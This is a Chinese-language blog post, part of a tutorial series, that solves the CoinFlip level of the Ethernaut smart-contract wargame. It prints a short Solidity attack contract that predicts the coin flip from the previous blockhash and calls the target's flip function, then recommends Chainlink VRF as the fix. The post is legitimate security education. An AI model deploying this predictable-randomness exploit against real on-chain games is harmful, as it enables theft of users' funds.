# 智能合约黑客攻击 Ethernaut:    3. CoinFlip

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-26

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

一个猜硬币正反面游戏，需要连续猜对10次。

Hack思路
------

所有的计算逻辑全部都写在了合约里，完全可以把逻辑复制一份计算出来。

    interface ICoinFlipChallenge {
        function flip(bool _guess) external returns (bool);
    }
    
    contract CoinFlipAttack {
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        ICoinFlipChallenge public exploitInst;
        constructor(address _target) {
            exploitInst = ICoinFlipChallenge(_target);
        }
        function _flip() private view returns (bool) {
            uint256 blockValue = uint256(blockhash(block.number - 1));
            uint256 coinFlip = blockValue / FACTOR;
            bool side = coinFlip == 1 ? true : false;
            return side;
        }
        function flip() public  {
            require(exploitInst.flip(_flip()), "Guess Failed");
        }
    }
    

Hack案例
------

…

防范思路
----

Chain LINK 已经有一个成熟的 [vrf](https://chain.link/vrf) 随机数方案了，可以放心使用，只需要付一点他们的代币就行了。

参考资料
----

*   [Verifiable source of randomness for smart contracts](https://chain.link/vrf)

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-3-coinflip)*
